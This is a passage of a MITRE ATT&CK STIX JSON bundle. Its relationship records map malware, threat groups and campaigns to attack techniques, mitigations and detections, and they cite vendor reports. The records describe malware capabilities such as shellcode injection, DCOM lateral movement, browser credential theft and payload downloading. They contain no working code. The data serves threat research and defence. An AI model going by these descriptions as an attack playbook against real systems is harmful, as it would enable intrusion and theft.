"2023-02-14T21:44:04.240Z", "description": "[QakBot](https://attack.mitre.org/software/S0650) has placed its payload in hidden subdirectories.(Citation: Trend Micro Black Basta October 2022)", "relationship_type": "uses", "source_ref": "malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9", "target_ref": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--04791b5e-1795-4a1c-a10d-71f919fc420e", "created": "2023-03-17T15:57:46.896Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "ClearSky Lazarus Aug 2020", "description": "ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021.", "url": "https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-07T15:42:18.626Z", "description": "During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) deployed malware designed not to run on computers set to Korean, Japanese, or Chinese in Windows language preferences.(Citation: ClearSky Lazarus Aug 2020)", "relationship_type": "uses", "source_ref": "campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b", "target_ref": "attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--047e6dc3-d213-4d97-8573-9c8da28a0742", "type": "relationship", "created": "2019-06-20T14:46:03.518Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-26T16:13:21.451Z", "description": "Map the trusts within existing domains/forests and keep trust relationships to a minimum.", "relationship_type": "mitigates", "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", "target_ref": "attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0481e814-434a-4736-80f3-f8bbcad3faf2", "type": "relationship", "created": "2021-05-10T23:19:38.724Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Mcafee Clop Aug 2019", "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/clop-ransomware/", "description": "Mundo, A. (2019, August 1). Clop Ransomware. Retrieved May 10, 2021."}, {"source_name": "Cybereason Clop Dec 2020", "url": "https://www.cybereason.com/blog/cybereason-vs.-clop-ransomware", "description": "Cybereason Nocturnus. (2020, December 23). Cybereason vs. Clop Ransomware. Retrieved May 11, 2021."}], "modified": "2021-07-30T21:03:09.052Z", "description": "[Clop](https://attack.mitre.org/software/S0611) can search for processes with antivirus and antimalware product names.(Citation: Mcafee Clop Aug 2019)(Citation: Cybereason Clop Dec 2020)", "relationship_type": "uses", "source_ref": "malware--cad3ba95-8c89-4146-ab10-08daa813f9de", "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0485006f-c4f6-4657-85a0-6beec8d9368a", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html", "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", "source_name": "Talos Cobalt Group July 2018"}, {"source_name": "Security Intelligence More Eggs Aug 2019", "url": "https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/", "description": "Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019."}], "modified": "2019-09-16T19:41:10.195Z", "description": "[More_eggs](https://attack.mitre.org/software/S0284) can download and launch additional payloads.(Citation: Talos Cobalt Group July 2018)(Citation: Security Intelligence More Eggs Aug 2019)", "relationship_type": "uses", "source_ref": "malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--04878c23-0ba8-4893-acd7-f0594241b66f", "type": "relationship", "created": "2019-03-11T17:18:27.655Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://github.com/PowerShellEmpire/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", "source_name": "Github PowerShell Empire"}], "modified": "2021-04-09T14:46:59.602Z", "description": "[Empire](https://attack.mitre.org/software/S0363) can utilize <code>Invoke-DCOM</code> to leverage remote COM execution for lateral movement.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", "target_ref": "attack-pattern--68a0c5ed-bee2-4513-830d-5b0d650139bd", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--048d55fb-9a37-41a8-9bc6-15c507bf2af2", "type": "relationship", "created": "2022-03-30T14:26:51.855Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.855Z", "description": "malicious documents and files that are downloaded from a link and executed on the user's computer", "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--048df7c4-96b0-4b76-9e21-f9ad70a2ce9b", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html", "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", "source_name": "FireEye MuddyWater Mar 2018"}], "modified": "2020-03-20T15:51:51.891Z", "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) can use DCOM (targeting the 127.0.0.1 loopback address) to execute additional payloads on compromised hosts.(Citation: FireEye MuddyWater Mar 2018)", "relationship_type": "uses", "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", "target_ref": "attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--04919717-aa68-4192-b095-c1607f8f6ead", "type": "relationship", "created": "2021-03-19T13:34:56.478Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019.", "url": "https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/", "source_name": "Security Intelligence More Eggs Aug 2019"}], "modified": "2021-03-19T17:16:25.206Z", "description": "[More_eggs](https://attack.mitre.org/software/S0284) has used HTTP GET requests to check internet connectivity.(Citation: Security Intelligence More Eggs Aug 2019)", "relationship_type": "uses", "source_ref": "malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4", "target_ref": "attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0493bf17-29a1-4825-b1a2-6e037288637f", "type": "relationship", "created": "2020-11-16T20:29:26.342Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Lucifer June 2020", "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/", "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."}], "modified": "2020-11-16T20:29:26.342Z", "description": "[Lucifer](https://attack.mitre.org/software/S0532) can use system resources to mine cryptocurrency, dropping XMRig to mine Monero.(Citation: Unit 42 Lucifer June 2020)", "relationship_type": "uses", "source_ref": "malware--54a73038-1937-4d71-a253-316e76d5413c", "target_ref": "attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--049ce77e-19b0-4641-8e49-8504ab47921e", "type": "relationship", "created": "2020-01-24T19:00:33.125Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-01-24T19:00:33.125Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", "target_ref": "attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--049d2b7e-fb1e-4bf3-bf2f-97197e40bda2", "type": "relationship", "created": "2020-12-28T22:10:21.555Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Molerats Dec 2020", "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf", "description": "Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."}], "modified": "2020-12-28T22:10:21.555Z", "description": "(Citation: Cybereason Molerats Dec 2020) ", "relationship_type": "uses", "source_ref": "intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411", "target_ref": "malware--8a59f456-79a0-4151-9f56-9b1a67332af2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--049e2b29-7554-4f2d-bba3-caaa98aa29b6", "type": "relationship", "created": "2022-03-30T14:26:51.841Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.841Z", "description": "Monitor for changed made to .manifest/.local redirection files, or file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious.", "source_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", "target_ref": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--049eebb5-0686-4891-9cf7-cbf906cacdd8", "created": "2023-06-12T20:13:03.075Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023", "description": "FBI et al. (2023, May 9). Hunting Russian Intelligence \u201cSnake\u201d Malware. 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(2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.", "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-28T20:27:00.832Z", "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) can enumerate device drivers located in the registry at `HKLM\\Software\\WBEM\\WDM`.(Citation: US-CERT HOPLIGHT Apr 2019)", "relationship_type": "uses", "source_ref": "malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369", "target_ref": "attack-pattern--215d9700-5881-48b8-8265-6449dbb7195d", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--04a55a4d-7888-4e52-8d6f-6befbc82f6f2", "created": "2023-10-04T14:31:53.915Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Gigamon BADHATCH Jul 2019", "description": "Savelesky, K., et al. (2019, July 23). ABADBABE 8BADFOOD: Discovering BADHATCH and a Detailed Look at FIN8's Tooling. Retrieved September 8, 2021.", "url": "https://blog.gigamon.com/2019/07/23/abadbabe-8badf00d-discovering-badhatch-and-a-detailed-look-at-fin8s-tooling/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-05T08:14:10.701Z", "description": "[BADHATCH](https://attack.mitre.org/software/S1081) can copy a large byte array of 64-bit shellcode into process memory and execute it with a call to `CreateThread`.(Citation: Gigamon BADHATCH Jul 2019)", "relationship_type": "uses", "source_ref": "malware--3553b49d-d4ae-4fb6-ab17-0adbc520c888", "target_ref": "attack-pattern--4933e63b-9b77-476e-ab29-761bc5b7d15a", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--04a6eba6-71d7-47d1-91f1-c728ada6b7b5", "type": "relationship", "created": "2020-11-23T17:46:57.365Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Citizen Lab Stealth Falcon May 2016", "description": "Marczak, B. and Scott-Railton, J.. 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The Lifecycle of Peer-to-Peer (Gameover) ZeuS. Retrieved August 19, 2015.", "url": "https://www.secureworks.com/research/The-Lifecycle-of-Peer-to-Peer-Gameover-ZeuS"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-24T19:08:50.639Z", "description": "[P2P ZeuS](https://attack.mitre.org/software/S0016) added junk data to outgoing UDP packets to peer implants.(Citation: Dell P2P ZeuS)", "relationship_type": "uses", "source_ref": "malware--b2c5d3ca-b43a-4888-ad8d-e2d43497bf85", "target_ref": "attack-pattern--f7c0689c-4dbd-489b-81be-7cb7c7079ade", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--04c0ec78-0bff-4d9e-8843-00589d0584ad", "type": "relationship", "created": "2022-03-30T14:26:51.874Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.874Z", "description": "Monitor for unexpected windows registry key being accessed that may search compromised systems to find and obtain insecurely stored credentials.", "source_ref": "x-mitre-data-component--ed0dd8aa-1677-4551-bb7d-8da767617e1b", "target_ref": "attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--04c3e14a-e502-40b2-a097-e47b76a89d28", "type": "relationship", "created": "2022-03-30T14:26:51.840Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.840Z", "description": "Monitor executed commands and arguments that may acquire credentials from web browsers by reading files specific to the target browser.(Citation: Talos Olympic Destroyer 2018)", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos Olympic Destroyer 2018", "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html"}]}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--04d1a31c-97c2-4cdd-8fb7-391c984e2fad", "type": "relationship", "created": "2020-05-15T13:17:57.692Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist DarkVishnya Dec 2018", "url": "https://securelist.com/darkvishnya/89169/", "description": "Golovanov, S. (2018, December 6). DarkVishnya: Banks attacked through direct connection to local network. Retrieved May 15, 2020."}], "modified": "2020-05-15T13:17:57.692Z", "description": "[DarkVishnya](https://attack.mitre.org/groups/G0105) used Bash Bunny, Raspberry Pi, netbooks or inexpensive laptops to connect to the company\u2019s local network.(Citation: Securelist DarkVishnya Dec 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--813636db-3939-4a45-bea9-6113e970c029", "target_ref": "attack-pattern--d40239b3-05ff-46d8-9bdd-b46d13463ef9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--04d60222-e8da-4de5-bc58-dcfae65986f5", "type": "relationship", "created": "2019-04-17T13:46:38.848Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Doaty, J., Garrett, P.. (2018, September 10). We\u2019re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved April 17, 2019.", "url": "https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/", "source_name": "Cofense Astaroth Sept 2018"}], "modified": "2019-09-09T19:23:37.239Z", "description": "[Astaroth](https://attack.mitre.org/software/S0373) collects the timestamp from the infected machine. (Citation: Cofense Astaroth Sept 2018)", "relationship_type": "uses", "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--04e2c418-8f6c-453c-8e17-4d3aeec0f755", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT30", "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}], "modified": "2020-03-29T23:42:20.326Z", "description": "[SPACESHIP](https://attack.mitre.org/software/S0035) copies staged data to removable drives when they are inserted into the system.(Citation: FireEye APT30)", "relationship_type": "uses", "source_ref": "malware--8b880b41-5139-4807-baa9-309690218719", "target_ref": "attack-pattern--a3e1e6c5-9c74-4fc0-a16c-a9d228c17829", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--04e4f0d1-32a9-4d64-a733-3316b0bf2740", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "F-Secure CozyDuke", "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.", "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke"}], "modified": "2020-11-23T17:03:38.566Z", "description": "A module in [CozyCar](https://attack.mitre.org/software/S0046) allows arbitrary commands to be executed by invoking <code>C:\\Windows\\System32\\cmd.exe</code>.(Citation: F-Secure CozyDuke)", "relationship_type": "uses", "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--04e866d0-5d9d-435d-b37c-311bb0bbdb1e", "created": "2023-07-05T18:54:59.241Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Crowdstrike TELCO BPO Campaign December 2022", "description": "Parisi, T. (2022, December 2). Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies. Retrieved June 30, 2023.", "url": "https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-07-07T19:01:04.557Z", "description": "During [C0027](https://attack.mitre.org/campaigns/C0027), [Scattered Spider](https://attack.mitre.org/groups/G1015) exploited CVE-2021-35464 in the ForgeRock Open Access Management (OpenAM) application server to gain initial access.(Citation: Crowdstrike TELCO BPO Campaign December 2022)", "relationship_type": "uses", "source_ref": "campaign--df74f7ad-b10d-431c-9f1d-a2bc18dadefa", "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--04ec1e09-f29e-44f7-bcb1-820b01af2155", "type": "relationship", "created": "2022-03-30T14:26:51.858Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.858Z", "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--04ecc705-0027-4dda-85fe-d6ce028ef05e", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT34 Webinar Dec 2017", "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"}], "modified": "2020-01-10T15:12:52.340Z", "description": "[SEASHARPEE](https://attack.mitre.org/software/S0185) can download remote files onto victims.(Citation: FireEye APT34 Webinar Dec 2017)", "relationship_type": "uses", "source_ref": "malware--0998045d-f96e-4284-95ce-3c8219707486", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--04f0ecb5-4647-4f96-9439-7e2255da11c8", "created": "2022-06-09T18:32:39.814Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Palo Alto Unit 42 OutSteel SaintBot February 2022 ", "url": "https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/", "description": "Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[OutSteel](https://attack.mitre.org/software/S1017) has used `cmd.exe` to scan a compromised host for specific file extensions.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )", "modified": "2022-06-09T18:32:39.814Z", "relationship_type": "uses", "source_ref": "malware--c113230f-f044-423b-af63-9b63c802f5ae", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--04f19ae7-931f-4798-a609-4b64aced1da3", "type": "relationship", "created": "2020-01-19T16:10:15.541Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Expel IO Evil in AWS", "url": "https://expel.io/blog/finding-evil-in-aws/", "description": "A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020."}], "modified": "2020-12-18T14:57:08.162Z", "description": "Use multi-factor authentication for user and privileged accounts. Consider enforcing multi-factor authentication for the <code>CreateKeyPair</code> and <code>ImportKeyPair</code> API calls through IAM policies.(Citation: Expel IO Evil in AWS)", "relationship_type": "mitigates", "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", "target_ref": "attack-pattern--8a2f40cf-8325-47f9-96e4-b1ca4c7389bd", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--04f8f862-049b-40d6-8250-68ed30cd4e92", "created": "2023-09-29T21:23:59.807Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "GitHub Pacu", "description": "Rhino Security Labs. (2019, August 22). Pacu. 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Retrieved June 17, 2021."}], "modified": "2021-06-21T15:09:33.046Z", "description": "[P8RAT](https://attack.mitre.org/software/S0626) has the ability to \"sleep\" for a specified time to evade detection.(Citation: Securelist APT10 March 2021)", "relationship_type": "uses", "source_ref": "malware--7c58fff0-d206-4db1-96b1-e3a9e0e320b9", "target_ref": "attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": 